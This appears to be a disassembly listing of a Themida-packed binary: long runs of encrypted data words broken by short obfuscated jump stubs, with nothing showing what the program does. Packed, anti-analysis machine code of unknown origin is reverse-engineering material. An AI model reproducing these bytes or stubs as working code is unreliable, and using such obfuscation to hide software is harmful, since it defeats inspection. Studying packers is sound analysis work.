		dd 0B9F78706h, 8, 0B58BA4F3h, 6100875h,	0C1E7858Dh, 0D0FF0613h
		dd 858DC361h, 6183112h,	30398589h, 39E90610h, 62000000h
		dd 145447h, 0Dh	dup(0)
		dd 49CE9h, 33776800h, 15E90618h, 68FFF84Eh, 61833E3h, 0F84E0BE9h
		dd 352168FFh, 1E90618h,	0C6FFF84Eh, 0EE6DE124h,	0CC4BFF36h
		dd 0D960DC15h, 0B645F936h, 7157D312h, 645E715h,	0E122C352h
		dd 0FD38EE6Dh, 0DC11BA41h, 98936D60h, 6BD44E2Ah, 0D747CDCAh
		dd 7C4002A9h, 2ADD6DCCh, 453D39EDh, 80BD72E9h, 0FD3CF06Bh
		dd 0A4D99209h, 1BFA1CAh, 9255BA0h, 0FE156AF4h, 6E528B42h
		dd 6134AD5Ch, 29B067FCh, 6A304D82h, 0EB5302EEh,	0A943C27h
		dd 0CE1FDA79h, 0AE397ADAh, 2D6h, 37BA151Ch, 6A213BA0h
		dd 67FC20F9h, 0D586411Dh, 91463EE0h, 98935261h,	9146092Ah
		dd 71216203h, 0E1FFD1F5h, 4609982Ah, 0CBA07C91h, 5D10CBB5h
		dd 0D7622F1Ch, 8100E7F9h, 5AEEBF6Ch, 61789B76h,	0A24E72ADh
		dd 225D11C8h, 88D5F26Eh, 6E906A71h, 37D31C7Dh, 0C16871F8h
		dd 9BB69901h, 8C7489E5h, 86D3579Dh, 5973EF91h, 4F02DE2h
		dd 4B354B20h, 78DEE722h, 658281E6h, 5EF735EEh, 6A1DF5F3h
		dd 30A7233Fh, 2B954277h, 0E5438014h, 2E9A831h, 0BBB0000h
		dd 0DF8514C8h, 0A534A8h, 0DF8413C7h, 0FDAF26A2h, 0E01C0ABEh
		dd 0CB7FBE72h, 0E458994Ch, 0C276B155h, 0E3578C33h, 0AD1514E8h
		dd 496BD44Fh, 96D7E06Ch, 0B9EDEC66h, 2FCEAB7Ch,	721933A8h
		dd 67F4E1C0h, 5E994D44h, 3FF16882h, 9D89BE65h, 7A01BD99h
		dd 0B46FCD6h, 0D16C3BE7h, 629424E1h, 0CFC774A9h, 0A14A0234h
		dd 27DE4F5h, 9F4F0000h,	0B359E05Ch, 9439C07Ch, 0B358DF5Bh
		dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
		dd 0DF5B9037h, 0A91910ECh, 4D6BD44Fh, 0BD5CC450h, 39324C1Eh
		dd 31EF126Ch, 0D5782F79h, 66CCB794h, 7C67F4A2h,	0D9CD0ABDh
		dd 9E7A805Dh, 4BF7B2CCh, 0AB942426h, 10346D14h,	26F74B3Eh
		dd 130F9424h, 0A5214836h, 48942426h, 80BF71E8h,	0BC39D86Bh
		dd 3982CFF1h, 15DD1h, 79323B00h, 92395044h, 7584E15Dh
		dd 0EF6A9466h, 130F0338h, 116C4D36h, 0BE9A67FCh, 973B83D2h
		dd 0A9DA9423h, 3F1EEF0Ah, 31FE397Bh, 4C000000h,	4C1EBD5Ch
		dd 0C704A732h, 7CD8F9B2h, 0E23E67FCh, 83DF672Eh, 853E9423h
		dd 36C20BEEh, 3932397Bh, 0E8F0366Fh, 0FA35D940h, 0B54F01D6h
		dd 0BD000000h, 50447932h, 6AA95BDEh, 169DBAB6h,	483F3372h
		dd 0C9906A9Fh, 110DEA25h, 209CD17Ah, 0CC01FF69h, 6297506Dh
		dd 587A99E6h, 173A7E0h,	718B67A9h, 65269C8Fh, 62BE9233h
		dd 88B87385h, 689805A8h, 0C567F20Ch, 16E8D286h,	201FAF13h
		dd 6CEB4794h, 0AD897DB4h, 226103D0h, 6CA27B5h, 0AC3DE94Ah
		dd 13Fh, 0AA1E6111h, 8A3E752Bh,	0A11D560Bh, 8438751Ah
		dd 981453F5h, 802456B2h, 5B0E8D41h, 73179E1Ah, 4EF58438h
		dd 0D6AAA519h, 0D4496FD3h, 0A22A876Bh, 245D04D7h, 9035F470h
		dd 17B98257h, 0CBE094CFh, 3AED8CE0h, 41FDD9FDh,	8D4111BAh
		dd 2CBA6E52h, 235E04D7h, 6D68D46h, 0F5712560h, 0AFCEFFD1h
		dd 987DA82Ch, 79100EEBh, 0C4219DD2h, 0D5D4A635h, 67FC0BECh
		dd 7D3C0E0Ah, 0EED08CCBh, 877BB86Bh, 69D5CEABh,	0BE943C0Eh
		dd 53943505h, 2B9FC39Fh, 0CDB9F8ACh, 0A6DCh, 0A9D73000h
		dd 0CC7C4002h, 8C3C6F6Dh, 0DFB48923h, 0C716332Fh, 0DAD1AB30h
		dd 67F4CA7Ch, 0D1B8A698h, 9424CE71h, 50F29995h,	7F9424CEh
		dd 0DC10BB4Bh, 9C9888F0h, 16CDCCB8h, 35EE6DE1h,	8C451400h
		dd 67EA68E6h, 63A24615h, 596B3AFh, 0EB20C76Eh, 0CEA44A11h
		dd 0CF8DC19h, 0C8B5328h, 53721E53h, 27556AB0h, 0CA2E0306h
		dd 4B0AE627h, 0AFB35F94h, 43E8DF93h, 0C77B1A06h, 0F291988Ch
		dd 48FB6D53h, 0AADF88A9h, 0D88D4C2Eh, 31D4F39Fh, 3CF7D4F0h
		dd 0BD7C4E83h, 319FCC0Bh, 0E5CE266Ah, 0DCCDB98Eh, 3, 326D5F30h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	815E5456h
		dd 4C6h, 4EE8300h, 5C243487h, 1CE768h, 241C8900h, 491C68h
		dd 243C8900h, 18326C68h, 241C8B06h, 4C481h, 8B540000h
		dd 0C483243Ch, 4EC8304h, 8F241C89h, 3C8B0847h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 3
		dd 3685B825h, 0C5030618h, 7B50E0FFh, 4069636Fh,	16C21B8Fh
		dd 1926483Ch, 7D961A38h, 754E54BFh, 51325655h, 0D25D751Eh
		dd 0E0D00622h, 80294C7Dh, 3E2A200Dh, 6710AFBh, 1BF70A96h
		dd 42FC7A61h, 0DF72421Dh, 551A46A1h, 54266DAh, 54EB3879h
		dd 0A1BB0973h, 0B53F243Bh, 79EF3FF8h, 298F3221h, 0D45213F3h
		dd 47A8414Ch, 162732D3h, 8D8D1B7Ah, 61837ECh, 9A99D8Bh
		dd 0B70F0610h, 0F58D89F3h, 0E9061009h, 13h, 0C7707840h
		dd 0C680FB67h, 0E4009226h, 6B0A9712h, 0C7E45B7Dh, 10231985h
		dd 618406h, 0D0816600h,	85C758D7h, 61022C1h, 0
		dd 0F919D31h, 0B5FF0610h, 61000CDh, 9E9h, 0AAF77F00h, 7788670Eh
		dd 9529D4ECh, 6101275h,	2DB995FFh, 6A0610h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0F3AC3h
		dd 0
		dd 95FF006Ah, 61031C9h,	3EEBC08Bh, 0B129F951h, 6D69C59Dh
		dd 7746807Bh, 271B65EAh, 124FBEE6h, 0CC5CB780h,	0CD110717h
		dd 3E4F9AD8h, 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah
		dd 1B797235h, 800D1BDBh, 0A8A84D18h, 1AE99CFDh,	9E000000h
		dd 524B1551h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h
		dd 1077E900h, 49680000h, 0E906183Ah, 0FFF84810h, 183B5868h
		dd 4806E906h, 0C668FFF8h, 0E906183Dh, 0FFF847FCh, 183EEC68h
		dd 47F2E906h, 1E68FFF8h, 0E9061842h, 0FFF847E8h, 1842B768h
		dd 47DEE906h, 0F668FFF8h, 0E9061842h, 0FFF847D4h, 1843CE68h
		dd 47CAE906h, 4B68FFF8h, 0E9061844h, 0FFF847C0h, 1844BB68h
		dd 47B6E906h, 5A68FFF8h, 0E9061846h, 0FFF847ACh, 18476D68h
		dd 47A2E906h, 0C767FFF8h, 9B51C884h, 0BC71E864h, 9B50C783h
		dd 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h, 0D6528D41h
		dd 0B773A85Fh, 8141E8D4h, 656BD444h, 4D7BC88h, 0F36F235Eh
		dd 71A65DD6h, 285D0685h, 6EA95D7Ch, 401E1082h, 0CC7CF949h
		dd 2C411D6Dh, 9239F897h, 3CFFE15Dh, 0D95D4988h,	5B70AD62h
		dd 71ED2CE0h, 180C41EAh, 1995CA81h, 9CAE2DCCh, 2352F7C2h
		dd 0CC7CDA68h, 2DE3A6Dh, 7C8141E8h, 9656DCCh, 111237F4h
		dd 78F467FCh, 8027B28Ch, 0C9752E4Bh, 2C942397h,	0A9DE8554h
		dd 7650EFD4h, 150142E3h, 6A433C11h, 4A397B3Eh, 36h, 1EBD5CC0h
		dd 7C745D4Ch, 969267FCh, 194EF5C4h, 32F4096Dh, 3C7CDB63h
		dd 0E2B46C94h, 21D5F12Ch, 0D8CC01AAh, 309C33CEh, 50952C47h
		dd 397B357Dh, 0E35Dh, 4D7AF00h,	8C47245Dh, 78F29ED3h, 0B0CA0CC1h
		dd 9FB6AFEFh, 5AD6CAA6h, 0D312B67Dh, 0CAFFA81Fh, 0D308BFD6h
		dd 0B135B057h, 5D066DCCh, 7E25B428h, 0FEA43749h, 0BF8A6C3h
		dd 73AE54ECh, 0ADBFA37Fh, 44FEADD3h, 0A06DCCD7h, 43FFAAC4h
		dd 0A36DCCD7h, 0E8F9B2C7h, 0E67FCA1h, 0E0D56D1Ch, 3531943Ch
		dd 0B1489D11h, 301B502Ah, 0FB4742B0h, 1B943C65h, 21241A3Fh
		dd 27391F3Ch, 0DEF05239h, 1814943Ch, 16EB4843h,	2F2B9E0Ah
		dd 0ABEA9E1Dh, 0C504A82Fh, 37459318h, 3AAB7B40h, 0DE0h
		dd 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h, 40FC3BEDh
		dd 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h, 6E523DF1h
		dd 0D44607BBh, 3A02DF6Bh, 62497E32h, 6DCC7CE0h,	324C2804h
		dd 0DBC704A7h, 3DBC8257h, 4FDD5186h, 4C1EBD5Ch,	0C803A732h
		dd 7CDBF8B3h, 0D63B67FCh, 0CC9910C2h, 0A2BC98ECh, 41357617h
		dd 241608E5h, 98B5F295h, 236953EBh, 0A0BEB294h,	236959E9h
		dd 8A58BD94h, 0EA3FCDB3h, 93284521h, 2B8F9FCh, 0C898397Ch
		dd 0F2000000h, 2A447932h, 0A5C2F9AFh, 0EF2EE2F9h, 6CA95EDDh
		dd 0DF9FBCB8h, 0CC012DB8h, 1045FE6Dh, 96661D9Ch, 7BC7C2EDh
		dd 9B923387h, 73EFA3BFh, 0C74EA34Fh, 524F3A14h,	749803F1h
		dd 0D8DF44F8h, 6489C068h, 0C908334Bh, 0A1BB9725h, 15E058EAh
		dd 8E60BC9Eh, 0DA19CBh,	805D9239h, 0A4E7E4B6h, 235DBB00h
		dd 0CC8DD603h, 0BA46AAC6h, 2A72169Dh, 0B276C4E5h, 298EB2E0h
		dd 403693AEh, 0D1019282h, 0DA00000Ch, 0C239F538h, 0E057D30Ah
		dd 0BD3CF029h, 8A11CD0Ah, 3533A7E6h, 0AAE99BC9h, 0C506A72Eh
		dd 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch, 6BD447D6h, 32EBB12Eh
		dd 532D3F7Eh, 0CC7CEA58h, 970E0A6Dh, 66CAB6F5h,	954ECD91h
		dd 0D75EEC60h, 7C4002A9h, 29DD6DCCh, 6E1E02EEh,	0A55ED5F2h
		dd 0A66D5E70h, 2F6C1F83h, 0DD98830Ah, 0E087FE00h, 0CE782FABh
		dd 5F6DCC6Eh, 47416AA8h, 814DD212h, 65A6CBB5h, 0F7DBF70Ah
		dd 73B256E5h, 44FEAD7Fh, 0A06DCC3Fh, 13CBA0C4h,	0FAA6DB84h
		dd 0DC13B980h, 0C1FEB128h, 587551D5h, 37E624DBh, 16D320FBh
		dd 8CC1B591h, 4D7E58F7h, 0EF7BBBE0h, 0DB587593h, 803BEF24h
		dd 336A502Dh, 0AE0Dh, 5E4D3300h, 6DCCA6E4h, 0CA358DCBh
		dd 0EAA256BAh, 5CD3596Eh, 5D4C1EBDh, 67FC0264h,	0ABFAA682h
		dd 94238613h, 0A822C1F2h, 4E427D31h, 0AF02F5D2h, 8F397B2Fh
		dd 77h,	2A9D7FDh, 6DCC7C40h, 0F8B3C8A4h, 6DCC7C4Fh, 0DEF0EB0Ah
		dd 7CB90900h, 0F85D6DCCh, 0C9C2D49Dh, 9AAF932Dh, 4202C3C6h
		dd 60BC67FCh, 1FD912ECh, 2806405Dh, 3AE625C7h, 763D1A36h
		dd 12DF93D2h, 306D803h,	9E0C3E16h, 0DD16CB8Eh, 0AA1EFA00h
		dd 4346772Bh, 9E2C52FFh, 4B371B17h, 627C5F76h, 48B14F7Ch
		dd 217B3FA6h, 0F0BA5F4Ch, 0D04C941Ch, 89FEB5Ch,	5C610000h
		dd 324C1EBDh, 32452139h, 1E3B3521h, 0FC438465h,	0FAA68267h
		dd 3C4713ABh, 22C1F294h, 3F8031A8h, 0EE9C752Ah,	0DF0C397Ah
		dd 0A1D60581h, 0E1D1BA2Bh, 44475E8Bh, 148C4419h, 0B2000000h
		dd 5D498227h, 22804D9h,	6DCC7C44h, 0FBE0C374h, 5C39FFFFh
		dd 69F415BDh, 0A0892D5Fh, 0ACC8ACEDh, 0C4D2D7D2h, 78F467FCh
		dd 31917866h, 0D5943CC4h, 0D3828459h, 943CC46Bh, 9F5AF98Ah
		dd 397A724Eh, 5002Eh, 0C7159C00h, 36489322h, 0FC20EE73h
		dd 0AE53E667h, 0CBA58175h, 23A062E0h, 0D1A68294h, 29D255D1h
		dd 42E6F1BEh, 0ADBF1CBBh, 0D6B205FEh, 6B85E137h, 2B292C82h
		dd 0D8F5406Fh, 0A13AD926h, 0DCCFB1CFh, 27D62E66h, 4FF3A27Eh
		dd 0E027D62Eh, 1E02EE2Bh, 3D5F26Eh, 0E1D32008h,	6A84E02Dh
		dd 3BF6A94h, 0E329CAB1h, 42E97287h, 21CA510Dh, 62667FECh
		dd 6E26F7ECh, 0A6365h, 77BA6C00h, 558C34C3h, 72AB62D9h
		dd 4F8C3FB6h, 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h
		dd 3CBB6FAAh, 0EFDA4E83h, 41A41E0Dh, 63406BD4h,	447932D9h
		dd 87546350h, 17D08B75h, 15322EE2h, 0FC11356Eh,	7B55D167h
		dd 5BCF0AC0h, 11EB26DCh, 7AB7DDDCh, 502DD733h, 65BB074Eh
		dd 0DA649423h, 95942315h, 5D835D7Eh, 237514AEh,	5774F094h
		dd 28DC5F81h, 24393DE9h, 1324DA67h, 0EA9F1A9Eh,	0A472D0BBh
		dd 96929E12h, 81DD9DBAh, 0A478C695h, 16CD9E12h,	0F29635E1h
		dd 0A758BFB3h, 0A0D3C408h, 0F09BC501h, 9E12A452h, 0FFF34EBh
		dd 1266410Ah, 431F6245h, 5BA07126h, 2C803F8Ch, 0CA000000h
		dd 4C1EBD5Ch, 48FA1E1Fh, 0CC6FE161h, 4429056Dh,	0B794B3D0h
		dd 46FCBFA1h, 5B964C0Bh, 0F764857Eh, 462267FCh,	2E495Ah
		dd 5CC30000h, 5D4C1EBDh, 67FC1B34h, 498629B0h, 0FE04D95Dh
		dd 35364822h, 8F79B8DEh, 9032D956h, 0AD942315h,	6CC8BCFBh
		dd 2E691DB4h, 43493512h, 97447932h, 0B3EAAF74h,	3D9B0C18h
		dd 46000009h, 6EED61A4h, 4CCB7FB6h, 59E05C95h, 36C579B6h
		dd 0F1D75392h, 86C56795h, 61A243D2h, 7DB86EEDh,	5C913AC1h
		dd 1813EDE0h, 6BD442AAh, 5CC74D4Ah, 5D4C1EBDh, 67FC2BE0h
		dd 2A3419FEh, 0E8C87327h, 3F76E7E1h, 864521DBh,	74F0A4E1h
		dd 7E25A450h, 675FF440h, 0A9CDE98Fh, 0D9904B35h, 0E7E0CBA0h
		dd 0DDFF6C3Bh, 5A1605F0h, 0E3F8E870h, 0E8647782h, 8D5F7C9Bh
		dd 0CC938760h, 1DD20AF7h, 4AD704E0h, 0B03911E0h, 77324623h
		dd 0B55F291Ah, 6DAE5FDAh, 0E28E8A90h, 0F4063DE3h, 63984F0Ah
		dd 5F6E0EB4h, 0CB8AE6A1h, 492DD91Ah, 0BE55AA34h, 503C0314h
		dd 99BD839Fh, 0DA7FC4C7h, 9B97AB6Fh, 0BA06C0E7h, 0CEE5AB4Fh
		dd 645FB237h, 0B1CF6CE7h, 4FC248FAh, 9BB0ACABh,	15435h
		dd 0BD5C9700h, 0E05D4C1Eh, 0FE67FC2Bh, 0ADC57D2Ch, 45219423h
		dd 0AD567521h, 2CD36678h, 825CE2F7h
		dd 698BF649h, 6C81A3E7h, 0F0338EFh, 6C827F48h, 740BB4FFh
		dd 0E0CBF6ADh, 0BF680662h, 0ECAA682h, 0F7ABE087h, 274C97B0h
		dd 0BBB5D4h, 25E1247h, 76BF56E5h, 0B4CFDCDh, 4A411B17h
		dd 0C69543F8h, 4A24401Ch, 0FFAADB8Fh, 0C6954343h, 0F7ABC7A3h
		dd 61D85E7Bh, 368C7FAAh, 0CEC69543h, 0A8826E52h, 5D4C7D31h
		dd 0C69543E5h, 55412501h, 77B65AD1h, 33D2A78Bh,	94C62BA7h
		dd 30F62C95h, 95243A14h, 0BC58AAF4h, 75B5E707h,	0AC1A551h
		dd 0FC782C61h, 65FE24DFh, 0E574C695h, 984F0641h, 98948663h
		dd 0A338BF24h, 1F5E12C9h, 6DAEF73h, 0A51DE203h,	0FCA9CCCh
		dd 0CE742358h, 26C8856Dh, 8554264Ah, 4AF8B3DEh,	0AAC8856Dh
		dd 82DE92AEh, 6922B965h, 4A017834h, 0BC98D57Ah,	6D49A1C8h
		dd 4D23C885h, 1E9DD88Eh, 6C4F2C69h, 5E934CD5h, 0A64910EAh
		dd 0A4B9BD69h, 0F125A5E7h, 9E3DC054h, 24F4AB2Ah, 0D65A467Bh
		dd 135F06FAh, 0D0D7737Ah, 1AD150EFh, 39F269E5h,	14A31004h
		dd 4E68DAD1h, 908CC761h, 2AEF9AB4h, 0DCCD5116h,	67F2CC80h
		dd 0F87186C5h, 3Ch, 1EBD5C44h, 8BC5D4Ch, 0CE4A67FCh, 0C6FDA322h
		dd 86471512h, 0B5C714A8h, 239254F6h, 9AB4B094h,	0F22CD3B1h
		dd 0F13FF3Eh, 57B80D2Ah, 0BFA17F82h, 23AE76CCh,	52F78E94h
		dd 84203D19h, 2A97932h,	795DD9CDh, 0F22FD467h, 914522FEh
		dd 2436A534h, 0FC192465h, 7486E267h, 0E01BCF8Ah, 0B4F39534h
		dd 4A00BB90h, 661C9B0Fh, 0F39FDA90h, 529F536Fh,	434618C3h
		dd 9E13F21Eh, 0A1C8BCB8h, 9E13C225h, 34469524h,	2393CC75h
		dd 422E2A94h, 3F1AB13h,	9A394A80h, 9BA88E5Fh, 853BFE45h
		dd 0A9BEA24Eh, 3047h, 0BD5C8500h, 0D68D4C1Eh, 5C71F5A1h
		dd 8648584h, 0AB2267FCh, 6BC7BBF8h, 28172F7Eh, 472B0C3Dh
		dd 2C4A5Bh, 88760000h, 234221A1h, 9469C594h, 1EBD5CB8h
		dd 1B345D4Ch, 0BBD267FCh, 0FAB1CB08h, 94239D48h, 0BA94B0ACh
		dd 588C0791h, 14E9ED7Bh, 79326412h, 0AF7A9744h,	212B3EAh
		dd 60B91h, 2F721400h, 0D44FC7Bh, 0EA23CA51h, 744E76Eh
		dd 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh, 0B83FFB3Ch, 0D463D712h
		dd 4742F62Bh, 3E0CB675h, 0BE86BD4h, 4596D741h, 0BF7F0E69h
		dd 95320CE1h, 84568594h, 0FC311C85h, 0E35EBA67h, 68BBCE34h
		dd 10B5845Ah, 546302D7h, 5269097Eh, 0CB80C841h,	0BC8EB28Eh
		dd 397217A2h, 5C994E4Dh, 0D3A8CCA8h, 55CA87D8h,	4F431F50h
		dd 76885362h, 65F37DB3h, 47191556h, 0B1ECA219h,	0CF8C61C5h
		dd 0F067E318h, 22550237h, 6E986325h, 5722DB6h, 0CB7B0000h
		dd 9F45D488h, 0C065F468h, 9F44D387h, 0BD6FE662h, 0A0DCCA7Eh
		dd 8B3F7E32h, 0A418590Ch, 82367115h, 0A3174CF3h, 6DD5D4A8h
		dd 896BD43Eh, 7932A02Ch, 0AF569744h, 0EEA6B3EAh, 533E5h
		dd 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h, 39782CABh
		dd 97B8785h, 25B42867h,	10874384h, 2CAB1F5Ah, 9F8A3E73h
		dd 3E54EE9Dh, 33B06BD4h, 44793269h, 0EC546350h,	0E12FE33h
		dd 8D711832h, 7967F434h, 5571AC62h, 0D36D8CD9h,	260AF62Dh
		dd 0D479304Ah, 329E1BD6h, 0A31B4A36h, 429E1BDAh, 96579231h
		dd 63F9383h, 81568D33h,	9ECFh, 1C0FF100h, 9E1BE2A6h, 3F05E23Eh
		dd 0A138B915h, 0F869203Ah, 1E67FC20h, 28432842h, 0DFCF3747h
		dd 38DF708Dh, 0A7283DE0h, 0EB28DB5Eh, 0FC464537h, 1847245Dh
		dd 0C223381Ch, 0A8D6A833h, 4E427D31h, 0F50EF5D2h, 914D1438h
		dd 514E195h, 270504D6h,	0DF432385h, 39F26983h, 1AD14804h
		dd 0D03D78E5h, 8591AD2Eh, 45B14h, 7FC26400h, 5D944CCBh
		dd 7AB35AE1h, 579437BEh, 71B054E3h, 41B3CFBDh, 5DDC508Fh
		dd 68EF6BACh, 44D387C2h, 0F7F2669Bh, 3FBC0605h,	5B586BD4h
		dd 7840D1h, 5C8C0000h, 5D4C1EBDh, 67F434A9h, 0FA484335h
		dd 1A942BB4h, 9148223Eh, 2B620ADAh, 63D7FB77h, 0AF62BD4h
		dd 0A3BD1EB5h, 1BC3D7E8h, 3F332F9Eh, 66786372h,	2BB19EA3h
		dd 0AA617894h, 0B7EC5175h, 0FF5E2D05h, 3DEBE27h, 47E70000h
		dd 1BD14804h, 3CF168E4h, 1BD04703h, 39EB6ADEh, 3C483EFAh
		dd 5FDB1ACEh, 38F435D8h, 56D20DC1h, 37F328DFh, 1C16854h
		dd 0E56BD438h, 40023C08h, 826DCC7Ch, 2BD714B7h,	0CD793247h
		dd 76DCC7Ch, 78558C34h,	0F30DCEE5h, 9594BF68h, 6DCC7C2Dh
		dd 9D896DC9h, 0ED9CC499h, 67F43409h, 0E8D79F5h,	6CBB2055h
		dd 0A04A0D67h, 36EE3F4h, 0D7770000h, 0EBA11894h, 0CC81F8B4h
		dd 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h
		dd 86427D31h, 0A723580Fh, 71D1B8C4h, 956BD438h,	79328C18h
		dd 7CE75B4Eh, 0AACA6DCCh, 711A911h, 60D7534Bh, 0A05470A9h
		dd 6A21C453h, 6DCCFCD8h, 0EA04E03Ch, 8E82B96Fh,	0BDA3B592h
		dd 390E47FEh, 0FC8D5552h, 2FEC7167h, 0F64C3F09h, 0E943C1Eh
		dd 2B2B2512h, 94B0EDA2h, 1C386F15h, 5CEDE9A0h, 0AE620225h
		dd 883CBB6Fh, 58E35D49h, 0A56476B3h, 0E23B5B1Dh, 0FD607DF9h
		dd 669F46FAh, 7943ADBAh, 5F1F091Ch, 11EB5F83h, 0C3EB98DCh
		dd 0CA9FD4C9h, 5E04D702h, 0D68D4623h, 539ECFA1h, 24510C2Fh
		dd 45444217h, 90F5699Eh, 2D494989h, 0AA6DB20Ah,	0FCAB4C6h
		dd 0F175215Ah, 800A2FDCh, 20FC67FCh, 7992574h, 477C943Ch
		dd 0AE844DA8h, 3964397Ah, 0A6000000h, 4C1EBD5Ch, 0C902A732h
		dd 7CDAF7B4h, 441A67FCh, 2383FD45h, 0D7E9E494h,	0E9A87776h
		dd 0CB7E3D39h, 0B1AD6D8Ah, 0AF2896C5h, 0B8CB9423h, 6311DC19h
		dd 0AFF1397Bh, 5B000000h, 3A97932h, 20570DCCh, 97395044h
		dd 762DAC58h, 8D365541h, 0FB38658h, 35E626CBh, 4E72C1EEh
		dd 9B06C579h, 6C6DCC1Ch, 0ED6C7EB3h, 10140037h,	4BF4833Bh
		dd 7E956A16h, 4388835Dh, 367FC17h, 0C74EB327h, 7B4F3A14h
		dd 8B9E0AB0h, 4AFEBD8Fh, 0DE0FF10Bh, 0F40A9251h, 5BD6C4Eh
		dd 1A9E1114h, 0EC483875h, 1CD0470Fh, 0C7C770DDh, 0AF674037h
		dd 1CF26h, 0F336D800h, 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah
		dd 0A5E4880Fh, 95C74329h, 81F8B4F3h, 9C1B8FD0h,	0A82FABE6h
		dd 1B0ECAFFh, 3AD86A21h, 5F3C6BD4h, 3F7E32D5h, 1E530C8Bh
		dd 0BD5C1CAAh, 745D4C1Eh, 7067FC7Ch, 160A45E9h,	0E13D3D1Ah
		dd 7CD86635h, 453B943Ch, 7CD2701Bh, 3632943Ch, 0E7E38221h
		dd 397522E6h, 0FBD07794h, 7A6DA904h, 0DB8939h, 0D7030000h
		dd 0E68A5C04h, 5B77FBA7h, 0D90EB57Eh, 0DF88532Dh, 5D7AF6AAh
		dd 0FFF332D6h, 0CC01CD58h, 30651E6Dh, 7517A27Ch, 11E64A36h
		dd 1FD1A14Ah, 0BC689F45h, 8CE89CB8h, 34E017CDh,	113A1430h
		dd 46F81B67h, 5945223Bh, 0BC8E4D6Ch, 0F342A9A2h, 0A930BD15h
		dd 33384002h, 0ACC8A492h, 386BD7D2h, 8F8B9233h,	4B08D1BAh
		dd 1D9C9803h, 661C3166h, 926C4E0Ah, 234D2B97h, 7A4FCB94h
		dd 3D0FCCEBh, 15809D4Eh, 1DC6079Eh, 943F361Eh, 0DA564C21h
		dd 58973900h, 74B355E4h, 366974C7h, 7B6C3840h, 0BCh, 66E225C5h
		dd 460239EFh, 6DE11ACFh, 40FC39EEh, 64D817B9h, 44E81A66h
		dd 1FD24905h, 37EB6ADEh, 12B940FCh, 926E61DDh, 0D43B2B97h
		dd 46CECB6Bh, 8B3F7E32h, 0AA1E530Ch, 6104D71Ch,	0EFA3E485h
		dd 24A34F73h, 0D0544081h, 0A35CD7F4h, 45F81A65h, 6E52FA0Eh
		dd 14B7825Ch, 60472BD7h, 6DCC3EE2h, 55542602h, 6DCC3EEDh
		dd 4E502D09h, 0DF5B9037h, 96687382h, 0F4765F93h
		dd 877BF767h, 0A6225710h, 4F43782Fh, 291E2B08h,	18B70821h
		dd 813D7219h, 681C51FAh, 43E6BE71h, 0A032DE02h,	0E1587211h
		dd 5FDCF12Eh, 0E5B773A8h, 42AE1DE8h, 0DFFC1864h, 8A76AB54h
		dd 319h, 6D5F7300h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		db 0CFh
byte_5CFCB9	db 57h,	89h, 0E7h	; DATA XREF: Themida_:0054CFA0o
					; Themida_:0054E4C0o
		dd 4C781h, 0BE560000h, 4, 875EF729h, 685C243Ch,	5902h
		dd 52243489h, 0C281E289h, 4, 4EA81h, 14870000h,	2C895C24h
		dd 5BD4BE24h, 0BA5216B0h, 10A8631Fh, 835AD631h,	248904ECh
		dd 24048324h, 0EC815D04h, 4, 8F243489h,	2C8B0845h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 484EB840h, 0C5030618h, 0F1BE0FFh, 41EB0B1Dh,	485230B9h
		dd 23CC707Ch, 302D1F85h, 87273D2Dh, 56181CF5h, 0CB4A714Bh
		dd 598E72EDh, 16356B22h, 0EC543766h, 2C99293Ch,	0D691F89h
		dd 5D8954F9h, 8D8D469Ch, 61849F0h, 0FE9h, 33E96100h, 0B62A7C50h
		dd 0AC77C816h, 4FC51EDh, 2951958Bh, 8D890610h, 61009F5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h
		dd 0C607366Ah, 6A77C683h, 1561958Bh, 85C70610h,	6102319h
		dd 6890h, 0C185C7F8h, 61022h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E9DFC350h
		dd 5, 0A1B2FCB7h, 0EDB5FFBAh, 0E8061011h, 8
dword_5CFE0C	dd 0BD80585Ch, 92E1F3CBh, 0EE9h, 74422D00h, 0FA330B23h
					; DATA XREF: Themida_:0054B638o
					; Themida_:0054C28Co ...
		dd 0ACF63B33h, 5B1ABFE2h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59BA19C3h
		dd 2872CA8Eh, 0F28B66F5h, 95FF006Ah, 61031C9h, 68EBC08Bh
		dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
		dd 808E6F2Fh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
		dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 66E0DE2Ch,	0AE388E3h
		dd 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah,	32E9CEAEh
